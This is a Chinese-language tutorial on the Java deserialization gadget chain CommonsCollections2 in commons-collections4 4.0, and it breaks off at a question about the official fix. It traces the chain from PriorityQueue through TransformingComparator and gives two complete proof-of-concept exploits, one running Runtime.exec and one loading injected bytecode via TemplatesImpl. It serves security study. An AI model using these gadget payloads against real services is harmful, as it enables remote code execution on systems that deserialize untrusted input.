Java反序列化之CommonsCollections2链的学习
一、前言
Apache Commons Collections 是一个著名的辅助开发库,包含了一些Java中没有的数据结构和辅助方法,不过随着Java 9 以后的版本中原生库功能的丰富,以及反序列化漏洞的影响,它也在逐渐被升级或替代。
在2015年底的commons-collections反序列化利用被提出时,Apache Commons Collections有以下两个分支版本:
- commons-collections:commons-collections
- org.apahce.commons: commonst-collections4
可⻅,groupId和artifactId都变了。前者是Commons Collections⽼的版本包,当时版本号是3.2.1;后 者是官⽅在2013年推出的4版本,当时版本号是4.0。
官⽅认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产⽣⼤量不能 向前兼容的改动。所以,commons-collections4不再认为是⼀个⽤来替换commons-collections的新版 本,⽽是⼀个新的包,两者的命名空间不冲突,因此可以共存在同⼀个项⽬中。 那么很⾃然有个问题,既然3.2.1中存在反序列化利⽤链,那么4.0版本是否存在呢?
二、commons-collections4的改动
因为两者可以共存,可以将两个包安装到同一个项目中比较:
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commonscollections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commonscollections4 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies
因为老的Gadget 中依赖的包名都是 org.apache.commons.collections , 而新的包名已经变成 org.apache.commons.collections4。 我们用熟悉的CommonsCollections6 利用链做例子,直接把代码拷贝一遍,并且将所有 import org.apache.commons.collections.* 改成 import org.apache.commmons.collections4.*
此时 IDE 爆出了一个错误,原因是 LazyMap.decorate 这个方法没了:
我们查看下 Commons.collection3中 decorate的定义,代码很简单
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
这个方法不过就是 LazyMap 构造函数的一个包装,而在 commons.collection4 中这是改了个名字叫 lazyMap:
public static <K, V> LazyMap<K, V> lazyMap(Map<K, V> map, Factory<? extends V> factory) {
return new LazyMap(map, factory);
}
所以我们将Gadget中出错的代码换一下名字:
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
解决了错误,成功执行代码
同理,之前的 CC1、CC3利用链都可以在 commonscollections4 的包中使用。
三、CommonsCollections2 利用链
commons-collections 这个包之所以能攒出那么多的利用链来,除了因为其使用量大,技术上的原因是其中包含了一些可以执行任意方法的Transformer。 所以,在commons-collections 中找 Gadget的过程,实际上可以简化为,找一条从 Serialization#read Object() 方法到 Transformer#transform() 方法的调用链。
故而,我们学习下CommonsCollections2 利用链,其用到的关键的两个类如下:
- java.util.PriorityQueue
- org.apache.commons.collections4.comparators.TransformingComparator
java.util.PriorityQueue 是一个有自己 readObject() 方法的类:
org.apache.commons.collections4.comparators.TransformingComparator 中有调用 transform() 方法 的函数,且里面的transformer来自于构造函数的传参:
TransformingComparator.class
public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
所以,CommonsCollections2 利用链 实际就是一条从 PriorityQueue 到 TransformingComparator 的利用链。
Gadget chain:
- ObjectInputStream.readObject()
- PriorityQueue.readObject()
- PriorityQueue.heapify()
- PriorityQueue.siftDown()
- PriorityQueue.siftDownUsingComparator()
- TransformingComparator.compare()
- InvokerTransformer.transform()
- Method.invoke()
- Runtime.exec()
了解下他们是怎么连接起来的。 PriorityQueue#readObject() 中调用了 heapify() 方法 , heapify() 中调用了 siftDown() , siftDown() 中调用了 siftDownUsingComparator() , siftDownUsingComparator() 中调用的 comparator.compare() ,于是就连接到上面的 TransformingComparator了:
PriorityQueue.class
private void heapify() {
for(int var1 = (this.size >>> 1) - 1; var1 >= 0; --var1) {
this.siftDown(var1, this.queue[var1]);
}
private void siftDown(int var1, E var2) {
if (this.comparator != null) {
this.siftDownUsingComparator(var1, var2);
} else {
this.siftDownComparable(var1, var2);
}
private void siftDownUsingComparator(int var1, E var2) {
int var4;
for(int var3 = this.size >>> 1; var1 < var3; var1 = var4) {
var4 = (var1 << 1) + 1;
Object var5 = this.queue[var4];
int var6 = var4 + 1;
if (var6 < this.size && this.comparator.compare(var5, this.queue[var6]) > 0) {
var4 = var6;
var5 = this.queue[var6];
}
if (this.comparator.compare(var2, var5) <= 0) {
break;
}
this.queue[var1] = var5;
}
this.queue[var1] = var2;
}
而 this.comparator 和 this.queue来自于 PriorityQueue的构造函数传参中中:
PriorityQueue.class
private final Comparator<? super E> comparator;
public PriorityQueue(int var1, Comparator<? super E> var2) {
this.size = 0;
this.modCount = 0;
if (var1 < 1) {
throw new IllegalArgumentException();
} else {
this.queue = new Object[var1];
this.comparator = var2;
}
}
总结一下:
- java.util.PriorityQueue 是一个优先队列(Queue) ,基于二叉堆实现,队列中每一个元素有自己的优先级,节点之间按照优先级大小排序成一棵树
- 反序列化时为什么需要调用 heapify() 的方法? 为了反序列化后,需要恢复这个结构的顺序
- 排序是将靠大的元素下移实现的。siftDown() 是将节点下移的函数, 而 comparator.compare() 用来比较元素的大小
- TransformingComparator 实现了 java.util.Comparator 接口, 这个接口用于定义两个对象如何进行比较。 siftDownUsingComparator() 中就是使用这个接口的compare() 方法比较树的节点
关于 PriorityQueue 这个数据结构的具体原理,可以参考这篇⽂章:PriorityQueue源码分析 - linghu_java - 博客园
开始编写POC,⾸先,还是创建Transformer:
Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1) };
Transformer[] transformers = new Transformer[]{
new ConstantTrransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new String[]{"calc.exe"})
};
Transformer transformerChain= new ChainedTransformer(fakeTransformers);
再创建一个 TransformingComparator ,传入我们的 Transformer:
Comparator comparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(transformerChain, "iTransformers", transformers);
完整的POC如下:
运行环境:
java 1.8.0_71commons-collections4.0
CommonsCollections2.java
package com.govuln.shiroattack;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CommonsCollections2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0] }),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Comparator comparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(transformerChain, "iTransformers", transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
四、使用无Transformer数组改进 CommonsCollections2利用链
前文说过利用 TemplatesImpl 可以构造出无 Transformer数组 的利用链,这里将CC2这条链也改进下。
首先,还是创建一个 TemplatesImpl对象:
Templates obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj,"_name", "Hello");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);
setFieldValue(transformer, "iMethodName", "newTransformer");
完整的poc如下:
运行环境:
java 1.8.0_71commons-collections4.0
templatesForCommonsCollections2.java
package com.govuln.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
public class templatesForCommonsCollections2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
protected static byte[] getBytescode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
return clazz.toBytecode();
}
public static void main(String[] args) throws Exception{
Templates obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj,"_name", "Hello");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);
setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
五、修复说明
1、PriorityQueue的利⽤链是否⽀持在commons-collections 3中使⽤?
不能,因为利用链的关键类 org.apache.commons.collections4.comparators.TransformingComparator,在 commons-collections4.0 以前没有实现 Serializable接口,无法在序列化中使用
2、Apache Commons Collections 官方是如何修复反序列化漏洞的?

